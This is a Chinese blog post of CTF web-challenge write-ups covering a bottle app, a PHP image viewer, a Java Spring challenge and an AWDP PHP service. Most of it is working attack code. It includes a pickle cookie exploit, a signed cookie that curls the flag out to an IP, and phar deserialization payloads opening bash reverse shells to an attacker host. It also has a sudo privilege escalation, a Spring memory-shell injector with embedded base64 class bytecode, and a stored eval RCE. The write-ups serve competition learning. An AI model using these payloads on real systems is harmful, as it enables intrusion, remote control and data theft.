国城杯线下赛 web题解

这应该是我离各位大佬们(物理上)最近的一次。

AWDP 抽象树那题骗的分。不出来说了,招骂。

Mountain

黑盒,进去看源码。

很容易想到有display路由。进去之后同样看源码

根据提示Get fuzz一下出photo参数。传参可以读取图片。

显然这里有个任意文件读。尝试读取/etc/passwd(一开始还想着路径穿越,发现../直接给禁止了,急哭了,后来发现喵的一个/就可以回根目录)

app.py路径未知。先尝试读进程文件/proc/self/cmdline。发现self被waf了,读/proc/1/cmdline

读/appppp/app.py出源码

from bottle import Bottle, route, run, template, request, response
from config.D0g3_GC import Mountain
import os
import re


messages = []

@route("/")
def home():
    return template("index")


@route("/hello")
def hello_world():
    try:
        session = request.get_cookie("name", secret=Mountain)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=Mountain)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "hacker!!! I've caught you"


@route("/display")
def get_image():
    photo = request.query.get('photo')
    if photo is None:
        return template('display')
    if re.search("^../|environ|self", photo):
        return "Hacker!!! I'll catch you no matter what you do!!!"
    requested_path = os.path.join(os.getcwd(), "picture", photo)
    try:
        if photo.endswith('.png'):
            default_png_path = "/appppp/picture/"
            pngrequested_path = default_png_path+photo
            with open(pngrequested_path, 'rb') as f:
                tfile = f.read()
            response.content_type = 'image/png'
        else:
            with open(requested_path) as f:
                tfile = f.read()
    except Exception as e:
        return "you have some errors, continue to try again"
    return tfile


@route("/admin")
def admin():
    session = request.get_cookie("name", secret=Mountain)
    if session and session["name"] == "admin":
        return template("administator", messages=messages)
    else:
        return "No permission!!!!"




if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8089)

注意到from config.D0g3_GC import Mountain,读取/appppp/config/D0g3_GC.py

得到密钥Mountain="M0UNTA1ND0G3GCYYDSP0EM5S20I314Y0UARE50SMAR7",尝试通过密钥伪造admin,可以伪造进去,然并卵。得到一个空的message。急哭了。

去网上搜bottle的源码

https://github.com/bottlepy/bottle/blob/master/bottle.py#L2944

尝试SSTI(bushi),发现里面根本就是套jinja2的模板实现的,完全搞不了。

注意到get_cookie函数

是pickle!我们有救了。

可以看到,bootle对cookie的处理很不安全。直接验证了一下签名就进pickle反序列化了。这里我们有密钥,可以伪造签名。

编写exp:

from bottle import cookie_encode
import os

secret = "M0UNTA1ND0G3GCYYDSP0EM5S20I314Y0UARE50SMAR7"

class Test:
    def __reduce__(self):
        return (eval, ("""__import__('os').system('bash -c "bash -i >& /dev/tcp/101.XX.XX.XX/2333 0>&1"')""",))

exp = cookie_encode(
    ('session', {"name": [Test()]}),
    secret
)
print(exp)

直接对着hello路由里的get_cookie打就完了(admin里那个也可以)

Cookie: name=!YOs9lZJn4qOib+WpoHCztLgm2CL6LkuaM1DoDAjVaw8=?gAWViwAAAAAAAACMB3Nlc3Npb26UfZSMBG5hbWWUXZSMCGJ1aWx0aW5zlIwEZXZhbJSTlIxWX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2N1cmwgMTAxLjQzLjQ4LjE5OToyMzMzL2BjYXQgL2ZsYWcvVHJ1ZV9mMWFnX0gzcmUxMXxiYXNlNjRgJymUhZRSlGFzhpQu

D0g3xGC{e1a6ad26-4eba-4c4f-acac-9026385a1c4f}

图片信息查看器

一个登录界面,无admin账户。

图片上传是后缀白名单,但只检测了文件头。还有个读取的功能,还有个owner id(调用了fileowner())。想到phar反序列化

对于php实现的读取功能来说,我就只会一个oracle泄露(((直接脚本跑。

https://github.com/synacktiv/php_filter_chains_oracle_exploit

发现能正常跑出来/etc/passwd。无/flag。先把源码跑出来

读trans1t.php

<?php
error_reporting(0);
include 'class.php';

if(isset($_POST['name'])){
    $name = $_POST['name'];
    $exception=new B($name);
    $exception->greet();
}

发现有class.php,越来越像phar了

读class.php

<?php
class backdoor{
    public $cmd;
    function __destruct(){
        $cmd = $this->cmd;
        system($cmd);
    }
}
class B{
    public $name;
    function __construct($name){
        $this->name = $name;
    }
    function greet(){
        echo "<h3>hello " . $this->name."</h3><br>";
    }
    function __destruct(){
        echo "<a href='chal13nge.php' class='link-button'>欢迎来到挑战,点击挑战</a><br>";
        echo "<!--There's something in the hI3t.php-->";
    }
}
?>

确诊phar反序列化。构造phar:

<?php
class backdoor
{
    public $cmd = 'bash -c "bash -i >& /dev/tcp/101.XX.XX.XX/2333 0>&1"';

    function __destruct()
    {
        $cmd = $this->cmd;
        system($cmd);
    }
}


// 后缀必须为phar
$phar = new Phar("evil.phar");
$phar->startBuffering();
// 设置 stubb
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$o = new backdoor();
/**
 * 将自定义的 meta-data 存入 manifest
 * 这个函数需要在php.ini中修改 phar.readonly 为 Off
 * 否则的话会抛出 
 * creating archive "***.phar" disabled by the php.ini setting phar.readonly 
 * 异常.
 */
$phar->setMetadata($o);
// 添加需压缩的文件
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

改后缀为gif。上传,获取图片路径那里传phar://uploads/evil.gif/test.txt

弹到shell。

读flag.sh,发现flag在/root/flag里。(套题去死)

提权,看sudo -l

发现有root权限的/tmp/rootscripts/check.sh,读取/tmp/rootscripts/check.sh

#/bin/sh
${1}/run.sh

在/tmp下创建run.sh

echo "cat /root/flag" > /tmp/run.sh

赋予执行权限

chmod 777 /tmp/run.sh

利用高权限脚本sudo读取flag

sudo /tmp/rootscripts/check.sh "/tmp"

D0g3xGC{2014887f-98fc-4947-8a6e-8e2f0d135ea4}

ez_zhuawa

这题不会。线下真实出题人拿的POC,先贴这。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

public class inject extends AbstractTranslet{
    static {
        try {
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
            org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);

            java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);

            String className = "com.example.spring.magicInterceptor";
            //加载com.example.spring.magicInterceptor类的字节码
            String b64 = "yv66vgAAADQAhwoAIABGCAA4CwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGIHAGYHAGcHAGgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxjb20vZXhhbXBsZS9zcHJpbmcvbWFnaWNJbnRlcmNlcHRvcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAARjb2RlAQANU3RhY2tNYXBUYWJsZQcAUwcAaQcAUgcAWQcAZwcAagcAawcAbAcAZgEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQAVbWFnaWNJbnRlcmNlcHRvci5qYXZhDAAhACIHAGoMAG0AbgcAawwAbwBwAQAAAQAHb3MubmFtZQcAcQwAcgBuDABzAHQBAAN3aW4MAHUAdgEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACEAdwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDAB4AHkHAHoMAHsAfAwAIQB9AQACXEEMAH4AfwwAgACBDACCAHQMAIMAIgcAaQwAhACFDACGACIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAjY29tL2V4YW1wbGUvc3ByaW5nL21hZ2ljSW50ZXJjZXB0b3IBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoACEAHwAgAAAAAAACAAEAIQAiAAEAIwAAAC8AAQABAAAABSq3AAGxAAAAAgAkAAAABgABAAAABwAlAAAADAABAAAABQAmACcAAAABACgAKQACACMAAAG6AAYACQAAAK8rEgK5AAMCADoEGQTGAKEsuQAEAQA6BRIFOgYSBrgAB7YACBIJtgAKmQAiuwALWQa9AAxZAxINU1kEEg5TWQUZBFO3AA86B6cAH7sAC1kGvQAMWQMSEFNZBBIRU1kFGQRTtwAPOge7ABJZGQe2ABO2ABS3ABUSFrYAFzoIGQi2ABiZAAsZCLYAGacABRkGOgYZCLYAGhkFGQa2ABsZBbYAHBkFtgAdpwAFOgUDrASsAAEADwCmAKkAHgADACQAAABGABEAAAAKAAoACwAPAA0AFwAOABsAEAArABEASgATAGYAFQB8ABYAkAAXAJUAGACcABkAoQAaAKYAHACpABsAqwAdAK0AHwAlAAAAZgAKAEcAAwAqACsABwAXAI8ALAAtAAUAGwCLAC4ALwAGAGYAQAAqACsABwB8ACoAMAAxAAgAAACvACYAJwAAAAAArwAyADMAAQAAAK8ANAA1AAIAAACvADYANwADAAoApQA4AC8ABAA5AAAAOQAH/gBKBwA6BwA7BwA6/AAbBwA8/AAlBwA9QQcAOv8AGgAFBwA+BwA/BwBABwBBBwA6AAEHAEIBAQBDAAAABAABAB4AAQBEAAAAAgBF"; // magicInterceptor类class的base64编码
            byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
            java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            m0.setAccessible(true);
            m0.invoke(classLoader, className, bytes, 0, bytes.length);
            //添加com.example.spring.magicInterceptor类到adaptedInterceptors
            adaptedInterceptors.add(classLoader.loadClass(className).newInstance());

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Util {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates =new TemplatesImpl();
        byte [] code = Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\CTF\\ctets\\target\\classes\\inject.class"));
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_name", "calc");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        serialize(templates);

    }
    public static String serialize(Object obj) throws IOException {
        try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(obj);
            byte[] serializedBytes = baos.toByteArray();
            System.out.println(Base64.getEncoder().encodeToString(serializedBytes));
            return Base64.getEncoder().encodeToString(serializedBytes);
        }
    }
    public static Object deserilize(String base64String) throws IOException, ClassNotFoundException {
        byte[] data = Base64.getDecoder().decode(base64String);
        try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
             ObjectInputStream in = new ObjectInputStream(bais)) {
            return in.readObject();
        }
    }
    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

AWDP-chemistry_industry

攻击五分钟,防守两小时

注意到FeedbackService.php中有

    public function getEmailById($id) {
        // 预处理
        $stmt = $this->db->prepare("SELECT userid FROM feedback WHERE id = ?");
        $stmt->bind_param("i", $id);
        // 执行查找操作
        if ($stmt->execute()) {
            $result = $stmt->get_result();
            if ($result->num_rows > 0) {
                $row = $result->fetch_assoc();
                $arr = stripslashes($row['userid']);
                eval('$arr='.$arr.';');
                return $arr;
            } else {
                return null;
            }
        } else {
            return false;
        }
    }

明显的eval RCE。。arr参数从数据库中读取,可以用addFeedbackByUserId()往数据库里写东西。意思就是eval参数可控。

注意到Controller.php中有:

if ($className && $methodName) {
    if ($className === 'NewsService' && method_exists($NewsService, $methodName))
    {
        echo $NewsService->$methodName($id);
    }
    elseif ($className === 'FeedbackService' && method_exists($FeedbackService, $methodName))
    {
        echo $FeedbackService->$methodName($id);
    } else {
        echo "无效的类或方法";
    }
} else {
    echo "缺少类或方法参数";
}

可以调用到FeedbackService中的任意函数

在Services里交一个Feedback。User填?><?php system("cat /flag")

调用/controller.php?c=FeedbackService&m=getEmailById&id=1得到flag

D0g3xGC{faa0451c-278a-4aab-b638-a51066beb25c}

厚RCE waf没用。一开始想着禁止RCE一直过不了(哭)。其实这里是一个未授权,在Controller那里加一个检测是否为admin就好。

if ($className && $methodName) {
    if ($className === 'NewsService' && method_exists($NewsService, $methodName))
    {
        echo $NewsService->$methodName($id);
    }
    elseif ($className === 'FeedbackService' && method_exists($FeedbackService, $methodName))
    {
        echo $FeedbackService->$methodName($id);
    } else {
        echo "无效的类或方法";
    }
} else {
    echo "缺少类或方法参数";
}

改为

session_start();
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    header("Location: admin.php"); // 未登录时重定向到登录页面
    exit;
}

if ($className && $methodName) {
    if ($className === 'NewsService' && method_exists($NewsService, $methodName))
    {
        echo $NewsService->$methodName($id);
    }
    elseif ($className === 'FeedbackService' && method_exists($FeedbackService, $methodName))
    {
        echo $FeedbackService->$methodName($id);
    } else {
        echo "无效的类或方法";
    }
} else {
    echo "缺少类或方法参数";
}

即可通过检测。

posted @ 2024-12-22 15:56  LamentXU  阅读(85)  评论(0编辑  收藏  举报